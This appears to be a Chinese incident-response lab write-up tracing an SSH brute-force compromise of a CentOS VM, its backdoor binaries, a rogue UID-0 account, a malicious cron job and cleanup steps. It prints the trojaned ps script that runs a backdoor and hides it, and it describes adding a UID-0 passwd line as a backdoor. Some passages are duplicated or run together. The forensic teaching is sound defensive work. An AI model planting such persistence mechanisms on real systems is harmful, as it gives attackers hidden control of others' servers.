任务14 应急响应案例4
下载链接: https://pan.baidu.com/s/1Upr1e4ZagIY0CGzbZ73bbg?pwd=sqjd
1.事件背景
某日,一位客户发来反馈:服务器似乎遭到入侵,正在与一个恶意 IP(代号:192.168.226.131)进行通信。受影响的服务器运行着 CentOS 操作系统,IP地址为 192.168.226.132,但未部署任何 WEB 服务。
用户名密码:root root
2. 应急响应过程
2.1 排查网络连接
在检查服务器的网络连接时,我发现了一个异常现象:服务器 192.168.226.132 不断地与恶意 IP 地址 192.168.226.131 的 3512 端口建立连接,并且这些连接的程序名被标识为 shell.elf,其 PID 号分别是 3424和 12874。这一情况让我意识到可能存在严重的安全问题,需要立即采取行动来应对这一威胁.
netstat -anpt
在观察异常通信时,我注意到这些连接状态为 "SYN_SENT",而且隔一段时间就会重新发起连接,而且每次连接的进程 PID 号都不相同。这种现象表明恶意 IP 地址192.168.226.131的行为异常,可能在尝试进行入侵或者进行其他恶意活动
我根据 PID 号查找到了对应程序的位置,发现它位于 `/root/shell.elf`。这个发现让我更加警觉,因为该程序不仅与异常的恶意 IP 地址建立了连接,而且其位置在根目录下,这可能意味着它具有潜在的危险性。需要立即对此程序进行深入分析和处理,以确保服务器的安全。
lsof -p 3430
lsof -p 3512
通过查看,我发现 `shell.elf` 文件的创建时间是在 2022 年 1 月 14 日的 00:51:12。这个发现让我更加担忧,因为这意味着这个恶意程序已经存在了一段时间,可能已经在服务器上潜伏了一段时间。现在更加迫切需要采取行动,阻止其进一步的恶意活动并确保服务器的安全。
stat shell.elf
进一步的分析表明,经过将 `shell.elf` 文件提交到微步在线检测平台检测后,结果显示该文件确实是一个后门文件。这个发现再次强调了安全威胁的严重性,因为后门文件可能允许攻击者远程控制服务器,执行恶意操作或窃取敏感信息。
2.2 历史命令排查
我立即检查服务器的日志,以查看是否有任何可疑的命令被黑客执行。通过分析日志记录,我能够追踪到任何可能的恶意活动或非授权访问,并且采取适当的措施来应对这些威胁。
History
发现历史命令已经都被黑客清空
2.3 排查后门账户
要查看当前登录系统的用户,可以使用 who 命令或 w 命令。这些命令将显示当前登录到系统的用户及其相关信息。
执行这些命令后,系统将显示当前登录到系统的用户列表,包括用户名、登录时间、登录来源等信息。没有发现异常。
查看特权账户
awk -F: '$3==0 {print$1}' /etc/passwd
# /etc/passwd 条目完整解析 样例: ``` root:x:0:0:root:/root:/bin/bash ``` 整条以**冒号 `:`** 分隔,一共7个字段,格式统一: `用户名:密码占位符:UID:GID:注释信息:家目录:登录Shell` ## 字段逐一拆解 ### 1. 第1段:root 登录用户名,系统登录标识。 ### 2. 第2段:x 密码占位符: - `x`:用户加密密码**不在passwd**,存放于 `/etc/shadow`(现代Linux默认,shadow严格权限,仅root可读); - 为空:无密码,可直接免密登录; - 特殊字符:早期系统直接存放加密密码,现已废弃,不安全。 ### 3. 第3段:0(UID 用户ID) - UID=0:**超级管理员root**,系统唯一最高权限; - 1~999:系统内置服务账号(nginx、mysql等,禁止登录); - ≥1000:普通新建用户。 ### 4. 第4段:0(GID 组ID) 对应 `/etc/group` 内的用户初始用户组ID,root默认归属root组。 ### 5. 第5段:root(注释/备注) 个人说明、全名,可自定义,一般写用户名、描述,空着也合法。 ### 6. 第6段:/root(家目录) 用户登录后默认所在文件夹: - root专属家目录 `/root`; - 普通用户一般为 `/home/用户名`。 ### 7. 第7段:/bin/bash(登录Shell) 用户登录后使用的命令解释器: 1. `/bin/bash`:可正常交互式登录; 2. `/sbin/nologin`:禁止SSH/终端登录,多用于服务账号; 3. `/bin/false`:强制拒绝登录; 4. `/sbin/shutdown`:登录即关机,特殊用途。 ## 延伸知识点(安全渗透常用) 1. **提权后门手法** 手动新增一行 `test:x:0:0::/root:/bin/bash`,UID=0 实现伪root账号,拥有最高权限。 2. **账号排查** 排查异常UID=0的陌生账号,排查nologin以外的可疑服务账号,是入侵排查常用手段。 3. 配套文件 - `/etc/passwd`:所有用户基础信息,所有用户可读; - `/etc/shadow`:密码哈希、过期策略,仅root可读; - `/etc/group`:用户组信息。 ## 同类示例对比 ``` nginx:x:997:997::/home/nginx:/sbin/nologin ``` 普通服务账号,UID997,不可登录,仅运行服务。/etc/passwd 条目完整解析
样例:
root:x:0:0:root:/root:/bin/bash整条以冒号:分隔,一共7个字段,格式统一:
用户名:密码占位符:UID:GID:注释信息:家目录:登录Shell
字段逐一拆解
第1段:root
登录用户名,系统登录标识。
第2段:x
密码占位符:
x:用户加密密码不在passwd,存放于/etc/shadow(现代Linux默认,shadow严格权限,仅root可读);
- 为空:无密码,可直接免密登录;
- 特殊字符:早期系统直接存放加密密码,现已废弃,不安全。
第3段:0(UID 用户ID)
- UID=0:超级管理员root,系统唯一最高权限;
- 1~999:系统内置服务账号(nginx、mysql等,禁止登录);
- ≥1000:普通新建用户。
第4段:0(GID 组ID)
对应/etc/group内的用户初始用户组ID,root默认归属root组。
第5段:root(注释/备注)
个人说明、全名,可自定义,一般写用户名、描述,空着也合法。
第6段:/root(家目录)
用户登录后默认所在文件夹:
- root专属家目录
/root;
- 普通用户一般为
/home/用户名。
第7段:/bin/bash(登录Shell)
用户登录后使用的命令解释器:
/bin/bash:可正常交互式登录;
/sbin/nologin:禁止SSH/终端登录,多用于服务账号;
/bin/false:强制拒绝登录;
/sbin/shutdown:登录即关机,特殊用途。
延伸知识点(安全渗透常用)
- 提权后门手法
手动新增一行test:x:0:0::/root:/bin/bash,UID=0 实现伪root账号,拥有最高权限。
- 账号排查
排查异常UID=0的陌生账号,排查nologin以外的可疑服务账号,是入侵排查常用手段。
- 配套文件
/etc/passwd:所有用户基础信息,所有用户可读;
/etc/shadow:密码哈希、过期策略,仅root可读;
/etc/group:用户组信息。
同类示例对比
nginx:x:997:997::/home/nginx:/sbin/nologin普通服务账号,UID997,不可登录,仅运行服务。
经过与客户沟通后,确认发现了两个特权账户:root 和 wxiaoge。进一步的调查表明,wxiaoge 账户是由黑客创建的,这个发现非常重要,因为它可能是入侵事件的一部分。
查看可以远程登录的帐号信息
awk '/\$1|\$6/{print $1}' /etc/shadowawk '/\$1|\$6/{print $1}' /etc/shadow
又有wxiaoge,确定了 wxiaoge 是黑客的后门账户
接下来查看用户最近登录情况
cat secure |grep "Accepted" grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'发现 wxiaoge 账户在 1 月 14 日的 00:47:33 登录了服务器,而该登录来源的 IP 地址为 192.168.226.1。
2.4 排查crontab后门
查看服务器的定时任务
crontab -l
经过调查发现root账户下存在一个定时任务,它每分钟都在执行 `/root/shell.elf` 文件。且 `shell.elf` 文件已被确认为后门文件。
2.5 排查是否有命令被替换
继续进一步检查,确认命令文件是否被替换。这项检查是为了确保被执行的命令文件没有被恶意文件所替代,从而防止可能的安全威胁。
rpm -Vf /usr/bin/* #S 关键字代表文件大小发生了变化 #5 关键字代表文件的 md5 值发生了变化 #T 代表文件时间发生了变化rpm -Vf /usr/bin/*
#S 关键字代表文件大小发生了变化
#5 关键字代表文件的 md5 值发生了变化
#T 代表文件时间发生了变化
查看ps命令内容
cat /usr/bin/ps
发现ps文件内容发现被修改了,且被被修改成以下内容
[root@192 log]# cat /usr/bin/ps #!/bin/bash /centos_core.elf & /.hide_command/ps |grep -v "shell" | grep -v "centos_core" | grep "bash"#!/bin/bash
/centos_core.elf & /.hide_command/ps |grep -v "shell" | grep -v "centos_core" | grep "bash"
#每次执行ps命令都会执行centos_core.elf文件、.hide_command/ps文件
#grep -v的意思是只打印没有匹配的,而匹配的反而不打印,相当于隐藏shell、centos_core、bash异常文件信息
查看centos_core.elf文件创建时间为:2022-01-14 00:57:03.954050367 -0500
stat /centos_core.elf
将 centos_core.elf 文件放在微步云沙箱检测是后门文件
经过调查,发现存在一个名为 ps 的命令后门。这个后门通过替换正常的 ps 命令来实现,每当执行一次 ps 命令时,实际上会触发执行 /centos_core.elf 后门文件。这种情况非常危险,因为它允许攻击者在不被察觉的情况下执行恶意操作。
2.6 总结
经过调查,我们确认了以下安全问题:
1. 发现后门文件 `/root/shell.elf` 和 `/centos_core.elf` 存在于系统中,这些文件可能被黑客用于执行恶意操作。
2. 账户 `wxiaoge` 被发现是一个后门账户,可能被黑客用于入侵和执行恶意活动。
3. 发现存在恶意定时任务,可能被用于定期执行恶意代码或命令。
4. 发现 `ps` 命令被替换为后门版本,每次执行 `ps` 命令都会触发执行后门代码。
这些发现表明系统存在严重的安全威胁,我们必须立即采取措施来清除后门文件、禁用后门账户、删除恶意定时任务,并修复被替换的 `ps` 命令,以确保服务器的安全。
清除后门文件
rm -rf /root/shell.elf
rm -rf /centos_core.elf
将ps命令删除再将 .hide_command/ps 恢复
rm -rf /usr/bin/ps
mv /.hide_command/ps /usr/bin/ps
删除后门账户
vi /etc/passwd
#vi编辑额passwd文件,按dd删除 wxiaoge那一行,之后保存并推出
3.应急响应溯源
3.1 查看后门
查看 shell.elf 文件的创建时间为:2022-01-14 00:51:12
stat shell.elf
查看 定时任务 root 文件的创建时间为:2022-01-14 01:05:53
stat /var/spool/cron/root
查看centos_core.elf文件创建时间为:2022-01-14 00:57:03.954050367 -0500
stat /centos_core.elf
查看 ps命令文件修改时间为:2022-01-14 01:03:42
stat /usr/bin/ps
3.2 排查安全日志
查看secure日志,发现爆破的时间范围是1.13 21:51:32——21:58:31
cat /var/log/secure |grep Failed
cat secure |grep "Failed"|head -n 5 cat secure |grep "Failed"|tail -n 5 cat /var/log/secure |grep Failed查看爆破的次数、攻击IP、破的用户名
#查询有哪些IP在爆破命令
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -cgrep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c
#查询被爆破的用户名都有哪些
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr接下来查看用户最近登录情况
grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'
发现 root 账户在1月13 日 21:57:56 登录了该服务器,在爆破的时间范围内(21:51:32——21:58:31)
wxiaoge 账户在 1月14 日 00:47:33登录了该服务器
3.3溯源总结
经过调查发现,黑客于 1 月 13 日的 21:51:32 到 21:58:31 期间对服务器进行了爆破行为,并在 21:57:56 成功爆破出了 root 账户的密码,并且成功登录到系统。在 1 月 14 日的 00:51:12,黑客植入了名为 shell.elf 的后门,随后在 00:57:03 植入了名为 centos_core.elf 的后门,并在 01:03:42 植入了针对 ps 命令的后门。另外,在 01:05:53 时,黑客还写入了恶意定时任务。这些恶意行为都是由 IP 地址为 192.168.226.1 的黑客发起的。